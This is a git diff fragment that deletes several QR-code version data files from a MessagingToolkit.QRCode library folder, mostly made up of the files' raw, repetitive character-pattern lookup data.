+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        tstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSQRQRQRQRQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:97777778777778787656565656565656565434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                - - - - - - - -         - - - - - - - - - - -         - - - - - - - - - - - -            - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - -             - - - - - - - -          - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - - ttssrrqqDDCCBBAA--..//00]]^^__``WWQQPPOO..//0011hhiijjkkGGFFEEDD(())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>>))**++,,ccddeeffGGFFEEDD - -,--..//0abbccddeUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__XXWWQQPP%%&&''((__``aabbPPOONNMMHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! NNOOPPQQ\\[[ZZYYOOPPQQRSeeddccbb55443322,,--..//\\]]^^__ppoonnmm@@??>>== 11223344aabbccddNNMMLLKK22334455qqrrssttCCBBAA@@ ,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - ---..//00gghhiijjCCBBAA@@ 01122334effgghhiQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccOONNMMLL))**++,,ccddeeffLLKKJJIILLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJWWXXYYZZXXWWQQPP !"##$TUVWWXXYaa``__^^1100//..00112233``aabbccllkkjjii<<;;::99 - - 55667788eeffgghhJJIIHHGG 6677==>>ttssrrqq??>>==<; - - 00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 11223344kkqqrrss??>>==7745566778ijjkklmnMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggKKJJIIHH--..//00gghhiijjHHGGFFEE !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFF##$$[[\\]]^^OONNMMLL$%%&&''(YZZ[[\\]]]\\[[ZZ--,,++**44556677ddeeffgghhggffee88776655 - - 99::;;<>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322556677==ttttssrr66554433 9:;<==>>opqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkGGFFEEDD - -11223344kkqqrrssDDCCBBAA $$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBB%%&&''((__``aabbKKJJIIHH())**++,]^^__``aYYXXWWVV))((''&& - - 8899::;;hhiijjkkddccbbaa44332211 ==>>??@@mmnnooppBBAA@@?? - - CCDDEEFFjiihhggf54433221 - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..>>??@@AAqqkkjjii221100// - - ??@@AABBttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooCCBBAA@@ 556677==ttttssrr@@??>>== - - (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>>))**++,,ccddeeffGGFFEEDD - -,--..//0abbccddeUUTTSSRR%%$$##"" <<==>>??llmmnnoo``__^^]]00//..--AABBCCDDqqrrsstt>>==7766 GGHHIIJJfeeddccb100//..- <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++** - - BBCCDDEEhhggffee..--,,++CCDDEEFFqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrss??>>==77>>??@@AAqqponmlk<;:98776,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - ---..//00gghhiijjCCBBAA@@ 01122334effgghhiQQPPOONN!! @@AABBCCppqqrrss\\[[ZZYY,,++**))EEFFGGHHttssrrqq55443322KKLLMMNNbaa``__^-,,++**)@@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& FFGGHHIIddccbbaa**))((''GGHHIIJJmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrr66554433 - - BBCCDDEEkjjiihhg6554433200112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 11223344kkqqrrss??>>==7745566778ijjkklmnMMLLKKJJDDEEFFGGttttssrrXXWWVVUU((''&&%%IIJJKKLLkkjjiihh1100//..OOPPQQWW^]]\\[[Z)((''&&%DDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##""JJKKLLMM``__^^]]&&%%$$##KKLLMMNNiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqkkjjii221100// FFGGHHIIgffeeddc21100//.44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322556677==ttttssrr66554433 9:;<==>>opqqrrssIIHHGGFFHHIIJJKKqqppoonnTTSSRRQQ$$##""!! MMNNOOPPggffeedd--,,++**XXYYZZ[[ZYYXXWWV%$$##"! HHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! NNOOPPQQ\\[[ZZYYOOPPQQRSeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOhhggffee..--,,++JJKKLLMMcbbaa``_.--,,++* - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..>>??@@AAqqkkjjii221100// - - ??@@AABBttttssrrEEDDCCBBLLMMNNOOmmllkkjj]]\\[[ZZPPOONNMM !!""##$$QQRRSSTTccbbaa``))((''&&##$$%%\\]]^^__UTSRQQPPLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJWWXXYYZZXXWWQQPP !"##$TUVWWXXYaa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSddccbbaa**))((''NNOOPPQQ_^^]]\\[*))((''& <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++** - - BBCCDDEEhhggffee..--,,++CCDDEEFFqqppoonnAA@@??>> !!""##PPQQRRSSiihhggffYYXXWWVVLLKKJJII%%&&''((UUVVWWXX__^^]]\\%%$$##&&''(())``aabbccOONNMMLL !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFF##$$[[\\]]^^OONNMMLL$%%&&''(YZZ[[\\]]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWW``__^^]]&&%%$$##WWXXYYZZ[ZZYYXXW&%%$$##"@@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& FFGGHHIIddccbbaa**))((''GGHHIIJJmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbbUUTTSSRRHHGGFFEE))**++,,YYZZ[[\\[[ZZYYXX**++,,--ddeeffggKKJJIIHH$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBB%%&&''((__``aabbKKJJIIHH())**++,]^^__``aYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[\\[[ZZYY##$$[[\\]]^^WVUTSRQQ! DDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##""JJKKLLMM``__^^]]&&%%$$##KKLLMMNNiihhggff99887766 (())**++XXYYZZ[[aa``__^^QQPPOONNMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__PPOONNMM00112233iihhggff99887766 - - 8899::;;IIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccLLKKJJII44556677eeddccbb55443322 <<==>>??EEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggHHGGFFEE ==>>??@@aa``__^^1100//..@@AABBCCAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkDDCCBBAA - - - -AABBCCDD]]\\[[ZZ--,,++**DDEEFFGG==<<;;:: - -$$%%&&''TTUUVVWWeeddccbb55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnoo@@??>>== EEFFGGHHYYXXWWVV))((''&&HHIIJJKK99887766 (())**++XXYYZZ[[aa``__^^1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrss77665544IIJJKKLLUUTTSSRR%%$$##""LLMMNNOO55443322,,--..//\\]]^^__]]\\[[ZZ--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttllkkjj33221100MMNNOOPPQQPPOONN!!  !!""##PPQQRRSS1100//..00112233``aabbccYYXXWWVV))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKiihhggff//..--,,QQWWXXYYMMLLKKJJ$$%%&&''TTUUVVWW--,,++**44556677ddeeffggUUTTSSRR%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOeeddccbb++**))((##ZZ[[\\]]IIHHGGFF(())**++XXYYZZ[[))((''&& - - 8899::;;hhiijjkkQQPPOONN!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSaa``__^^''&&%%$$$$%%&&''^^__``aaEEDDCCBB,,--..//\\]]^^__%%$$##"" <<==>>??llmmnnooMMLLKKJJDDEEFFGGttttssrrEEDDCCBBLLMMNNOOmmllkkjj==<<;;:: - -$$%%&&''TTUUVVWW]]\\[[ZZ##(())**++bbccddeeAA@@??>>00112233``aabbcc!! @@AABBCCppqqrrssIIHHGGFFHHIIJJKKqqppoonnAA@@??>> !!""##PPQQRRSSiihhggff99887766 (())**++XXYYZZ[[YYXXWWQQ,,--..//ffgghhii==<<;;:: - -44556677ddeeffgghhiiZHAbZHAbZHAb|ZdQb|ZdQbp`fnXv`˂rXQZp˂dQZ|rtAJlfH~fH~XQr˂XQr˂rbtbtlbtlHfpvHfpvZp˂Zp˂Zp˂|dr|drfH~fH~fH~XQr˂XQr˂btlbtlHfpvHfpvHfpvbHAZ`ےbdQZ|tbdQZf`vXvpfHXQr˂XQr˂btlbtlbtlHfpvHfpvZp˂Zp˂Zdr|dr|drfH~fH~XQr˂XQr˂XQr˂btlbtlHfpvHfpvfpvZp˂Zp˂Jl|tbdQZvpfXnvZHAb`JXQrbtlbtlHfpvHfpvHfpvZp˂Zp˂|dr|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˒tbAdtbAdZ|mnopqrsttsrqpon \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_2.dat deleted file mode 100644 index 2de8eb3..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_3.dat deleted file mode 100644 index d8e70cb..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_0.dat deleted file mode 100644 index 7b0b0e6..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv26_0.dat +++ /dev/null @@ -1,241 +0,0 @@ -xwxwxwxwxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopooonmnmnmnmlklklklklklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSSSSSSTTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:987878787656565656565656543434343212121210/0/0/0/xwxwxwxwxwxwxwxwvuvuvuvutstststsrqrqrqrqooopopopnmnmnmnmlklklklklklklklkjijijijihghghghgfefefefefedcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTTSTSTSSSRQRQRQRQPOPOPOPONMNMNMNMNMLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:987878787656565656543434343434343212121210/0/0/0/xwxwxwxwxwxwxwxwvuvuvuvutstststsrqrqrqrqopopopopnmnmnmnmlklklklklklklklkjijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTSSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:987878787656565654343434343434343212121210/0/0/0/xwxwxwxwxwxwxwxwvuvuvuvutstststsrqrqrqrqopopopopnmnmnmnmlklklklklkjijijijijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTTSRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:987878787656565654343434343434343212121210/0/0/0/xwxwxwxwxwxwxwxwvuvuvuvutstststsrqrqrqrqopopopopnmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?>=>=>=>=>=>=>=<;<;<;<;:9:9:9:977777878656565654343434343434343212121210/0/0/0/xwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqopopopopnmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:978787878656565654343434343434343212121210/0/0/0/xwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqopopopopnmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSTSTSSSSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:978787878656565654343434343434343212121210/0/0/0/xwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqooooooponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUSSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:978787878656565654343434343434343212121210/0/0/0/xwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcdcbababababababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:978787878656565654343434343212121212121210/0/0/0/xwxwxwxwvuvuvuvuvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:978787878656565654343434321212121212121210/0/0/0/xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopopopopoponmnmnmnmlklklklkjijijijijihghghghghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:978777777656565654343434321212121212121210/0/0/0/xwxwxwxwvuvuvuvutstststsrqrqrqrqooooopoppopopoponmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=<;<;<;<;<;<;<;:9:9:9:987878787656565654343434321212121212121210/0/0/0/xwxwxwxwvuvuvuvutstststsrqrqrqrqopopopoppopopoponmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;<;:9:9:9:9:9:9:987878787656565654343434321212121212121210/0/0/0/xwxwxwxwvuvuvuvutstststsrqrqrqrqopopopopmmmmmmnmnmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[\[ZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUSSSSSTSTRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCBABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:9:987878787878787656565654343434321212121212121210/0/0/0/xwxwxwxwvuvuvuvutstststsrqrqrqrqopopopopnmnmnmnmnmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98777777887878787656565654343434321212121212121210/0/0/0/xwxwxwxwvuvuvuvutstststsrqrqrqrqopopopopnmnmnmnmnmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbababababa`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:97878787887878777656565654343434321212121210/0/0/0/0/0/0/xwxwxwxwvuvuvuvutstststsrqrqrqrqopopopopnmnmnmnmnmnmnmnmlklklklkjijijijihghghghghghghghgfefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:978787878778787876565656543434343212121210/0/0/0/0/0/0/0/xwxwxwxwvuvuvuvutstststsrqrqrqrqopoooooonmnmnmnmnmnmnmnmlklklklkjijijijihghghghghgfefefefefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPOPONMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:978787878876565656565656543434343212121210/0/0/0/0/0/0/0/xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUSTSTSTSTRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:978787878656565656565656543434343212121210/0/0/0/0/0/0/0/xwxwxwxwvuvuvuvutstststsrqrqrqrqpopopopo